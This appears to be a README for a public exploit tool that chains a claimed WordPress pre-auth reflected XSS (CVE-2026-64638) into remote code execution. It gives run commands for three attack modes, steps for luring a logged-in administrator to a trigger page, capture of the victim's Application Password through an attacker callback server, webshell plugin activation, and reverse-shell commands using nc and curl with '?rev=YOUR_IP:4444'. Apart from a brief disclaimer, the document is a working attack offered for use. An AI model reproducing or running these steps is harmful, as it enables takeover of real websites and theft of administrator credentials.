## https://sploitus.com/exploit?id=049BA32D-A3DE-575F-B66E-7C3E84F5445F
# CVE-2026-64638 — XSS2Shell
**WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain**
> DOM Clobbering + Application Password Theft + REST API Plugin Activation = Full RCE
[](https://python.org)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-64638)
[](LICENSE)
---
## ⚡ Overview
CVE-2026-64638 is a critical **pre-authentication Reflected XSS** in WordPress `wp-login.php`. The vulnerability exists because the login error message reflects the submitted username **without proper HTML encoding**, allowing DOM Clobbering via `` to bypass most filters.
When chained with WordPress's Application Password feature, this XSS becomes a **full Remote Code Execution** vector — zero user interaction beyond visiting a crafted trigger page while logged in.
### Attack Chain
```
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
```
---
## 🎯 Affected Versions
| Version | Status | Notes |
|---------|--------|-------|
| WordPress ≤ 6.9.5 | ✅ **Vulnerable** | Pre-backport Docker images still exploitable |
| WordPress 6.9.6+ | ⚠️ Patched (Aug 7, 2026 backport) | Docker images rebuilt after Aug 7 have fix |
| WordPress 7.0.x | ✅ **Vulnerable** | Confirmed on 7.0.2 |
| WordPress 7.1+ | ❓ Unknown | Not tested |
---
## 📦 Requirements
```bash
pip3 install requests
```
That's it. Python 3.8+ standard library for everything else.
---
## 🚀 Usage
### Quick Start
```bash
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
```
### Mode 1: Auto (detects & picks best mode)
```bash
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
```
- Detects if XSS is possible → uses XSS chain
- Falls back to direct credential mode if XSS is patched
### Mode 2: XSS Chain (no credentials needed!)
```bash
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
```
The victim must be **logged into WordPress** as an administrator. The trigger page:
1. Auto-submits the XSS payload to `wp-login.php` via hidden iframe
2. Opens `authorize-application.php` for the victim to approve
3. Captures the Application Password via the callback server
4. Uses it against REST API to activate the webshell plugin
### Mode 3: Direct (need credentials)
```bash
python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
```
Direct login → plugin upload → instant webshell. No XSS required.
### Reverse Shell
```bash
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
```
Or manually via webshell:
```bash
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
```
---
## 📂 Files
```
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
```
---
## 🔬 Technical Details
### The XSS Payload
```html
x
```
**Why it works:**
- WordPress's `sanitize_user()` strips standard HTML tags but misses `` with a leading space
- The `` performs DOM Clobbering — it hijacks `window.ajaxurl` used by wp-admin JavaScript
- `wp_auth_check` interval fires and the XSS redirects the victim to `authorize-application.php`
- The `success_url` parameter sends the generated password to the attacker's callback server
### Post-Exploitation
Once the Application Password is captured:
- **REST API**: Authenticate as the victim against `/wp-json/wp/v2/`
- **Plugin Activation**: `POST /wp-json/wp/v2/plugins/{slug}` with `{"status":"active"}`
- **Webshell**: Access `wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND`
- **Reverse Shell**: `?rev=IP:PORT` spawns `/bin/sh -i` back to attacker
---
## ✅ Verified On
| Target | Version | Mode | Result |
|--------|---------|------|--------|
| Docker (local) | WordPress 7.0.2 | XSS Chain | ✅ RCE as www-data |
| Docker (local) | WordPress 7.0.2 | Direct | ✅ RCE as www-data |
| Docker (local) | WordPress 6.7 | XSS Chain | ✅ RCE as www-data |
---
## ⚠️ Disclaimer
This tool is for **authorized security testing and research only**. The authors assume no liability for misuse. Always obtain written permission before testing.
---
## 📝 Credits
- **PoC Development**: linuxhackingid
- **CVE**: CVE-2026-64638
---
> **"No Exploit, No Report."** — Shannon Methodology